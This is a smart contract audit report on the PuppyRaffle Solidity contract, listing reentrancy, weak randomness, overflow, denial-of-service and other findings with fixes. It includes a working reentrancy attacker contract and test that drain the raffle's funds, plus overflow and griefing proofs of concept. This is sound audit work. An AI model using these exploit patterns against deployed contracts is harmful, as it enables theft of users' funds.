



Puppy Raffle Audit Report

Version 1.0

Luca3

January 11, 2024

Puppy Raffle Audit Report

Luca3

11th January 2024

Prepared by: Luca3 Lead Security Researcher

- Yudhishthra Sugumaran

Table of Contents

- Protocol Summary
- Disclaimer
- Risk Classification
- Audit Details
 - Scope
 - Roles
- Executive Summary
 - Issues found
- Findings
 - High
 - * [H-1] Reentrancy attack in `PuppyRaffle::refund` allows entrant to drain raffle balance
 - * [H-2] Weak randomness in `PuppyRaffle::selectWinner` allows users to influence or predict the winner and influence or predict the winning puppy
 - * [H-3] Integer overflow of `PuppyRaffle::totalFees` loses fees
 - Medium
 - * [M-1] `PuppyRaffle::enterRaffle` function has a potential Denial of Service vulnerability causing high gas costs for future entrants.

- * [M-2] Balance check on `PuppyRaffle::withdrawFees` enables griefers to self-destruct a contract to send ETH to the raffle, blocking withdrawals
- * [M-3] Smart contract wallets raffle winners without a `receive` or a 'fallback' function will block the start of a new contest
- Low
- [L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existent players and for players at index 0, causing a player at index 0 to incorrectly think they have not entered the raffle
- Informational/Gas
 - * [G-1] Unchanged state variables should be declared constant or immutable
 - * [G-2] Storage variables in a loop should be cached
 - * [I-1] Solidity pragma should be specific, not wide
 - * [I-2] Using an outdated version of Solidity is not recommended
 - * [I-3]: Missing checks for `address(0)` when assigning values to address state variables
 - * [I-4]: `PuppyRaffle::selectWinner` does not follow CEI, which is not a best practice
 - * [I-5]: Use of "magic" numbers is discouraged
 - * [I-6]: State changes are missing events
 - * [I-7]: `PuppyRaffle::_isActivePlayer` is never used and should be removed

Protocol Summary

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

1. Call the `enterRaffle` function with the following parameters:
 1. `address[] participants`: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.
2. Duplicate addresses are not allowed
3. Users are allowed to get a refund of their ticket & `value` if they call the `refund` function
4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy
5. The owner of the protocol will set a `feeAddress` to take a cut of the `value`, and the rest of the funds will be sent to the winner of the puppy.

Disclaimer

The Luca3 team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
Likelihood	High	H	H/M	M
	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

The findings found correspond to this commit hash:

```
1 Commit Hash: 22bbbb2c47f3f2b78c1b134590baf41383fd354f
```

Scope

```
1 ./src/  
2 #-- PuppyRaffle.sol
```

Roles

- Owner: Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function.

- Player: Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

Executive Summary

add some notes on how the audit went, types of things found, etc. we spent X hours on the audit with Z auditors using the following tools: X, Y, Z

Issues found

SEVERITY	NUMBER OF ISSUES FOUND
High	3
Medium	3
Low	1
Info/Gas	7
Total	14

Findings

High

[H-1] Reentrancy attack in `PuppyRaffle::refund` allows entrant to drain raffle balance

Description: The `PuppyRaffle::refund` function does not follow CEI (Checks, Effects, Interactions) pattern. This allows an entrant to drain the raffle balance by calling the `PuppyRaffle::refund` function multiple times in a single transaction.

In the `PuppyRaffle::refund` function, we first make an external call to the `msg.sender` address and only after making that external call do we update the `PuppyRaffle::players` array.

```
1 function refund(uint256 playerIndex) public {
2     address playerAddress = players[playerIndex];
3     require(
4         playerAddress == msg.sender,
5         "PuppyRaffle: Only the player can refund"
6     );
}
```

```
7     require(
8         playerAddress != address(0),
9         "PuppyRaffle: Player already refunded, or is not active"
10    );
11
12    @> payable(msg.sender).sendValue(entranceFee);
13    @> players[playerIndex] = address(0);
14
15    emit RaffleRefunded(playerAddress);
16 }
```

A player who has entered the raffle could have a `fallback/receive` function that calls the `PuppyRaffle::refund` function. This will allow the player to drain the raffle balance by calling the `PuppyRaffle::refund` function multiple times in a single transaction.

Impact: All fees paid by raffle entrants could be stolen by an attacker.

Proof of Concept:

1. User enters the raffle
2. Attacker sets up a contract with a `fallback/receive` function that calls the `PuppyRaffle::refund` function
3. Attacker enters the raffle
4. Attacker calls the `PuppyRaffle::refund` function in the `fallback/receive` function

PoC

Place the following test case in `test/PuppyRaffleTest.t.sol`

```
1 function test_reentrancy() public {
2     address[] memory players = new address[](4);
3     players[0] = playerOne;
4     players[1] = playerTwo;
5     players[2] = playerThree;
6     players[3] = playerFour;
7     puppyRaffle.enterRaffle{value: entranceFee * 4}(players);
8
9     ReentrancyAttacker attackerContract = new ReentrancyAttacker(
10         puppyRaffle
11     );
12     address attacker = makeAddr("attacker");
13     vm.deal(attacker, 1 ether);
14
15     uint256 startBalance = address(attackerContract).balance;
16     uint256 contractBalance = address(puppyRaffle).balance;
17
18     vm.prank(attacker);
19     attackerContract.attack{value: entranceFee}();
20 }
```

```
21     console.log("starting attacker contract balance: %s", startBalance)
22     ;
23     console.log("starting contract balance: %s", contractBalance);
24     console.log(
25         "ending attacker contract balance: %s",
26         address(attackerContract).balance
27     );
28     console.log(
29         "ending contract balance: %s",
30         address(puppyRaffle).balance
31     );
32 }
33 }
```

And this contract as well

```
1  contract ReentrancyAttacker {
2      PuppyRaffle puppyRaffle;
3      uint256 entranceFee;
4      uint256 attackerIndex;
5
6      constructor(PuppyRaffle _puppyRaffle) {
7          puppyRaffle = _puppyRaffle;
8          entranceFee = puppyRaffle.entranceFee();
9      }
10
11     function attack() public payable {
12         address[] memory players = new address[](1);
13         players[0] = address(this);
14         puppyRaffle.enterRaffle{value: entranceFee}(players);
15         attackerIndex = puppyRaffle.getActivePlayerIndex(address(this))
16         ;
17         puppyRaffle.refund(attackerIndex);
18     }
19
20     fallback() external payable {
21         if (address(puppyRaffle).balance >= entranceFee) {
22             puppyRaffle.refund(attackerIndex);
23         }
24     }
```

Recommended Mitigation: To prevent this, we can follow the CEI (Checks, Effects, Interactions) pattern. We should update the `PuppyRaffle::players` array before making the external call to the `msg.sender` address.

Code Snippet

```
1  function refund(uint256 playerIndex) public {
```

```
2     address playerAddress = players[playerIndex];
3     require(
4         playerAddress == msg.sender,
5         "PuppyRaffle: Only the player can refund"
6     );
7     require(
8         playerAddress != address(0),
9         "PuppyRaffle: Player already refunded, or is not active"
10    );
11
12 +   players[playerIndex] = address(0);
13 +   emit RaffleRefunded(playerAddress);
14
15     payable(msg.sender).sendValue(entranceFee);
16
17 -   players[playerIndex] = address(0);
18 -   emit RaffleRefunded(playerAddress);
19 }
```

[H-2] Weak randomness in `PuppyRaffle::selectWinner` allows users to influence or predict the winner and influence or predict the winning puppy

Description: Hashing `msg.sender`, `block.timestamp`, and `block.difficulty` is not a good source of randomness. This is because `msg.sender` and `block.timestamp` can be influenced by the user and `block.difficulty` can be predicted by the user. A predictable number is not a good random number. Malicious users can manipulate these values or know them ahead of time to choose the winner of the raffle themselves.

Note: This additionally means users could front-run this function and call `refund` if they see they are not the winner.

Impact: Any user can influence the winner of the raffle, winning the money and selecting the `rarest` puppy. Making the entire raffle worthless if it becomes a gas war as to who wins the raffle.

Proof of Concept:

1. Validators can know ahead of time the `block.difficulty` and `block.timestamp` values and use that to predict when/how to participate. See the solidity blog on `prevrandao`. `block.difficulty` was recently replaced with `prevrandao`.
2. User can mine/manipulate their `msg.sender` value to result in their address being used to generate the winner.
3. Users can revert their `selectWinner` transaction if they don't like the winner or resulting puppy.

Using on-chain values as a randomness seed is a well-documented attack vector in the blockchain space.

Recommended Mitigation: Consider using a cryptographically proven random number generator like Chainlink's VRF.

[H-3] Integer overflow of `PuppyRaffle::totalFees` loses fees

Description: In solidity versions prior to 0.8.0, integers were subject to integer overflows.

```
1 uint64 myVar = type(uint64).max;
2 //18446744073709551615
3 myVar = myVar + 1;
4 //myVar will be 0
```

Impact: In `PuppyRaffle::selectWinner`, `totalFees` are accumulated for the `feeAddress` to collect later in `PuppyRaffle::withdrawFees`. However, if the `totalFees` variable overflows, the `feeAddress` will not be able to collect the correct amount of fees, leading to a loss of funds.

Proof of Concept:

1. We conclude a raffle with 4 players
2. We then repeat the rounds with 4 players until an overflow is detected
3. `totalFees` will be:

```
1 totalFees = totalFees + uint64(fee);
2 Total fees before round 22 : 16800000000000000000
3 Total fees after round 22 : 17600000000000000000
4 Total fees before round 23 : 17600000000000000000
5 Total fees after round 23 : 18400000000000000000
6 Total fees before round 24 : 18400000000000000000
7 Total fees after round 24 : 753255926290448384
8 Overflow occurred after 24 rounds
```

4. You will not be able to withdraw, due to the line in `PuppyRaffle::withdrawFees`:

```
1 require(address(this).balance ==
2     uint256(totalFees), "PuppyRaffle: There are currently players active!");
```

Although, you could use `selfdestruct` to send ETH to this contract in order for the values to match and withdraw the fees, this is clearly not the intended design of the protocol. At some point, there will be too much balance in the contract that the above will be impossible to hit.

PoC

Place the following test case in `test/PuppyRaffleTest.t.sol`

```
1 function testOverflowInTotalFees() public {
2     uint64 maxUint64 = type(uint64).max;
3     console.log("Starting test for overflow in totalFees");
4     console.log("Max uint64 value:", maxUint64);
5
6     // We will run the loop until an overflow is detected
7     bool overflowDetected = false;
8     uint256 rounds = 0;
9     while (!overflowDetected) {
10         address[] memory players = new address[](4);
11         players[0] = address(uint160(rounds * 4 + 1));
12         players[1] = address(uint160(rounds * 4 + 2));
13         players[2] = address(uint160(rounds * 4 + 3));
14         players[3] = address(uint160(rounds * 4 + 4));
15
16         uint64 totalFeesBefore = puppyRaffle.totalFees();
17         console.log(
18             "Total fees before round",
19             rounds + 1,
20             ":",
21             totalFeesBefore
22         );
23         puppyRaffle.enterRaffle{value: entranceFee * 4}(players);
24         vm.warp(block.timestamp + duration + 1);
25         vm.roll(block.number + 1);
26         puppyRaffle.selectWinner();
27
28         uint64 totalFeesAfter = puppyRaffle.totalFees();
29         console.log(
30             "Total fees after round",
31             rounds + 1,
32             ":",
33             totalFeesAfter
34         );
35
36         // Check if overflow has occurred
37         if (totalFeesAfter < totalFeesBefore) {
38             overflowDetected = true;
39             console.log("Overflow occurred after", rounds + 1, "rounds"
40                 );
41         }
42         rounds++;
43     }
44     console.log("Overflow test completed");
45 }
```

Recommended Mitigation: There are a few possible solutions.

1. Use a newer version of solidity, and a `uint256` instead of a `uint64` for `PuppyRaffle::`

`totalFees`.

2. You could also use OpenZeppelin's SafeMath library for version 0.7.6 of solidity, however you would still have a hard time with the `uint64` type if too many fees are collected.
3. Remove the balance check from `PuppyRaffle::withdrawFees`.

```
1 - require(address(this).balance == uint256(totalFees), "PuppyRaffle:
    There are currently players active!");
```

Medium

[M-1] `PuppyRaffle::enterRaffle` function has a potential Denial of Service vulnerability causing high gas costs for future entrants.

Description: The `PuppyRaffle::enterRaffle` function has a for loop that iterates over all the players in the `players` array to check if the entrant is already in the list. This can cause high gas costs for future entrants if the list of entrants in the `PuppyRaffle::players` array grows large. This means the gas costs for the `PuppyRaffle::enterRaffle` function will increase linearly with the number of entrants in the `PuppyRaffle::players` array.

```
1 @> for (uint256 i = 0; i < players.length - 1; i++) {
2     for (uint256 j = i + 1; j < players.length; j++) {
3         require(
4             players[i] != players[j],
5             "PuppyRaffle: Duplicate player"
6         );
7     }
8 }
```

Impact: The gas costs for raffle entrants will increase linearly with the number of entrants in the `PuppyRaffle::players` array. Discouraging future entrants from participating in the raffle and causing a rush at the start of a raffle to enter before the list of entrants grows large.

An attacker might make the `PuppyRaffle::players` array grow large by creating multiple accounts and entering the raffle with each account.

Proof of Concept:

If we have 2 sets of 100 players enter, the gas costs will be as such:

- 1st 100 players: ~6252039 gas
- 2nd 100 players: ~18068129 gas

This is more than 3 times the gas costs for the 1st 100 players.

PoC

Place the following test case in `test/PuppyRaffleTest.t.sol`

```
1 function testRaffleDOS() public {
2     uint256 playersNum = 100;
3     address[] memory players = new address[](playersNum);
4     for (uint256 i = 0; i < playersNum; i++) {
5         // Increment the address based on the startIndex
6         players[i] = address(i);
7     }
8     uint256 gasBefore = gasleft();
9     puppyRaffle.enterRaffle{value: entranceFee * playersNum}(players);
10    uint256 gasAfter = gasleft();
11
12    uint256 gasUsed = (gasBefore - gasAfter);
13    console.log("Gas used for first: %s", gasUsed);
14
15    address[] memory playersTwo = new address[](playersNum);
16    for (uint256 i = 0; i < playersNum; i++) {
17        // Increment the address based on the startIndex
18        playersTwo[i] = address(i + playersNum);
19    }
20    uint256 gasBefore2 = gasleft();
21    puppyRaffle.enterRaffle{value: entranceFee * playersNum}(playersTwo);
22    uint256 gasAfter2 = gasleft();
23
24    uint256 gasUsed2 = (gasBefore2 - gasAfter2);
25    console.log("Gas used for second: %s", gasUsed2);
26
27    assert(gasUsed < gasUsed2);
28 }
```

Recommended Mitigation: There are a few recommendations.

1. Consider allowing duplicates. Users can make new wallet addresses anyways, so a duplicate check does not prevent the same person from entering multiple times. Some form of onchain KYC can be considered to prevent this to ensure behind every wallet address is a real person.
2. Consider using a mapping to store the players instead of an array. This will allow for constant time lookups and prevent the gas costs from increasing linearly with the number of players.
3. Alternatively, you could use OpenZeppelin's EnumerableSet library.

Code Snippet

```
1 + mapping(address => uint256) public addressToRaffleId;
2 + uint256 public raffleId = 0;
3 .
4 .
5 .
```

```
6     function enterRaffle(address[] memory newPlayers) public payable {
7         require(msg.value == entranceFee * newPlayers.length, "
          PuppyRaffle: Must send enough to enter raffle");
8         for (uint256 i = 0; i < newPlayers.length; i++) {
9             players.push(newPlayers[i]);
10 +         addressToRaffleId[newPlayers[i]] = raffleId;
11         }
12
13 -         // Check for duplicates
14
15 *         // Check for duplicates only from the new players
16 *         for (uint256 i = 0; i < newPlayers.length; i++) {
17 *             require(addressToRaffleId[newPlayers[i]] != raffleId, "
          PuppyRaffle: Duplicate player");
18 *         }
19
20 -         for (uint256 i = 0; i < players.length; i++) {
21 -             for (uint256 j = i + 1; j < players.length; j++) {
22 -                 require(players[i] != players[j], "PuppyRaffle:
          Duplicate player");
23 -             }
24 -         }
25         emit RaffleEnter(newPlayers);
26     }
27
28
29
30     function selectWinner() external {
31
32 *         raffleId = raffleId + 1;
33         require(block.timestamp >= raffleStartTime + raffleDuration, "
          PuppyRaffle: Raffle not over");
```

[M-2] Balance check on `PuppyRaffle::withdrawFees` enables griefers to selfdestruct a contract to send ETH to the raffle, blocking withdrawals

Description: The `PuppyRaffle::withdrawFees` function checks the `totalFees` equals the ETH balance of the contract (`address(this).balance`). Since this contract doesn't have a `payable` fallback or `receive` function, you'd think this wouldn't be possible, but a user could `selfdestruct` a contract with ETH in it and force funds to the `PuppyRaffle` contract, breaking this check.

```
1     function withdrawFees() external {
2 @>         require(address(this).balance == uint256(totalFees), "
          PuppyRaffle: There are currently players active!");
3         uint256 feesToWithdraw = totalFees;
4         totalFees = 0;
```

```
5         (bool success,) = feeAddress.call{value: feesToWithdraw}("");
6         require(success, "PuppyRaffle: Failed to withdraw fees");
7     }
```

Impact: This would prevent the `feeAddress` from withdrawing fees. A malicious user could see a `withdrawFee` transaction in the mempool, front-run it, and block the withdrawal by sending fees.

Proof of Concept:

1. `PuppyRaffle` has 800 wei in it's balance, and 800 `totalFees`.
2. Malicious user sends 1 wei via a `selfdestruct`
3. `feeAddress` is no longer able to withdraw funds

Recommended Mitigation: Remove the balance check on the `PuppyRaffle::withdrawFees` function.

```
1     function withdrawFees() external {
2 -         require(address(this).balance == uint256(totalFees), "
PuppyRaffle: There are currently players active!");
3         uint256 feesToWithdraw = totalFees;
4         totalFees = 0;
5         (bool success,) = feeAddress.call{value: feesToWithdraw}("");
6         require(success, "PuppyRaffle: Failed to withdraw fees");
7     }
```

[M-3] Smart contract wallets raffle winners without a receive or a 'fallback' function will block the start of a new contest

Description: The `PuppyRaffle::selectWinner` function is responsible for resetting the lottery. However, if the winner is a smart contract wallet that rejects payment, the lottery would not be able to restart.

Users could easily call the `selectWinner` function again and non-wallet entrants could enter, but it could cost a lot due to the duplicate check and a lottery reset could get very challenging.

Impact: The `PuppyRaffle::selectWinner` function could revert many times making a lottery reset very challenging.

Also, true winners would not get paid out and someone else could take their money.

Proof of Concept:

1. 10 smart contract wallets enter the lottery without a fallback or receive function
2. The lottery ends
3. The `selectWinner` function would not work even though the lottery is over.

Recommended Mitigation: Few options to mitigate the issue

1. Create a mapping of addresses -> payout so winners can pull their funds out themselves, putting the owness on the winner to claim their funds. (Pull over Push)

Low**[L-1] PuppyRaffle::getActivePlayerIndex returns 0 for non-existent players and for players at index 0, causing a player at index 0 to incorrectly think they have not entered the raffle**

Description: If a player is in the `PuppyRaffle::players` array at index 0, it will return 0, but according to the natspec, it will also return 0 if the player is not in the `PuppyRaffle::players` array. This means a player at index 0 will incorrectly think they have not entered the raffle.

```
1 function getActivePlayerIndex(  
2     address player  
3 ) external view returns (uint256) {  
4     for (uint256 i = 0; i < players.length; i++) {  
5         if (players[i] == player) {  
6             return i;  
7         }  
8     }  
9     return 0;  
10 }
```

Impact: A player at index 0 will incorrectly think they have not entered the raffle and attempt to enter the raffle again wasting gas.

Proof of Concept:

1. User enters the raffle, they are the first entrant
2. `PuppyRaffle::getActivePlayerIndex` returns 0
3. User thinks they have not entered the raffle corrently due the function documentation

Recommended Mitigation: Include a revert message if the player is not in the `PuppyRaffle::players` array instead of returning 0.

You could also reserve the 0th position for any competition, but a better solution might be to return an `int256` instead of a `uint256` and return `-1` if the player is not in the `PuppyRaffle::players` array.

Informational/Gas

[G-1] Unchanged state variables should be declared constant or immutable

Reading from storage is much more expensive than reading from a constant or immutable variable. Consider declaring state variables constant or immutable if they are not changed after construction.

Instances:

- `PuppyRaffle::raffleDuration` should be `immutable`
- `PuppyRaffle::commonImageUri` should be `constant`
- `PuppyRaffle::rareImageUri` should be `constant`
- `PuppyRaffle::legendaryImageUri` should be `constant`

[G-2] Storage variables in a loop should be cached

Each time that `players.length` is accessed, the EVM will read from storage. Consider caching the value in a local variable to read from memory to avoid this extra cost.

```
1 + uint256 playersLength = players.length;
2 - for (uint256 i = 0; i < players.length - 1; i++) {
3 + for (uint256 i = 0; i < playersLength - 1; i++) {
4 -     for (uint256 j = i + 1; j < players.length; j++) {
5 +     for (uint256 j = i + 1; j < playersLength; j++) {
6         require(
7             players[i] != players[j],
8             "PuppyRaffle: Duplicate player"
9         );
10     }
11 }
```

[I-1] Solidity pragma should be specific, not wide

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

- Found in `src/PuppyRaffle.sol` Line: 2

```
1 pragma solidity ^0.7.6;
```


[I-2] Using an outdated version of Solidity is not recommended

solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement.

Recommendation

Deploy with any of the following Solidity versions:

```
1 `0.8.18`
```

The recommendations take into account:

```
1 Risks related to recent releases
2 Risks of complex code generation changes
3 Risks of new language features
4 Risks of known bugs
```

Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

Refer to slither documentation for more context: (<https://github.com/crytic/slither/wiki/Detector-Documentation#incorrect-versions-of-solidity>)

[I-3]: Missing checks for address (0) when assigning values to address state variables

Assigning values to address state variables without checking for `address(0)`.

- Found in src/PuppyRaffle.sol Line: 69

```
1 feeAddress = _feeAddress;
```

- Found in src/PuppyRaffle.sol Line: 189

```
1 previousWinner = winner;
```

- Found in src/PuppyRaffle.sol Line: 213

```
1 feeAddress = newFeeAddress;
```

[I-4]: PuppyRaffle::selectWinner does not follow CEI, which is not a best practice

It's best to keep code clean and follow CEI (Checks, Effects, Interactions) pattern.

```
1 - (bool success, ) = winner.call{value: prizePool}("");
2 - require(success, "PuppyRaffle: Failed to send prize pool to winner");
```

```
3 _safeMint(winner, tokenId);
4 + (bool success, ) = winner.call{value: prizePool}("");
5 + require(success, "PuppyRaffle: Failed to send prize pool to winner");
```

[I-5]: Use of “magic” numbers is discouraged

It can be confusing to see number literals in a codebase, and it's much more readable if the numbers are given a name.

Examples:

```
1 uint256 prizePool = (totalAmountCollected * 80) / 100;
2 uint256 fee = (totalAmountCollected * 20) / 100;
```

Instead, you could use:

```
1 uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
2 uint256 public constant FEE_PERCENTAGE = 20;
3 uint256 public constant POOL_PRECISION = 100;
```

[I-6]: State changes are missing events

[I-7]: `PuppyRaffle::_isActivePlayer` is never used and should be removed

Description: The function `PuppyRaffle::_isActivePlayer` is never used and should be removed.

```
1 - function _isActivePlayer() internal view returns (bool) {
2 -     for (uint256 i = 0; i < players.length; i++) {
3 -         if (players[i] == msg.sender) {
4 -             return true;
5 -         }
6 -     }
7 -     return false;
8 - }
```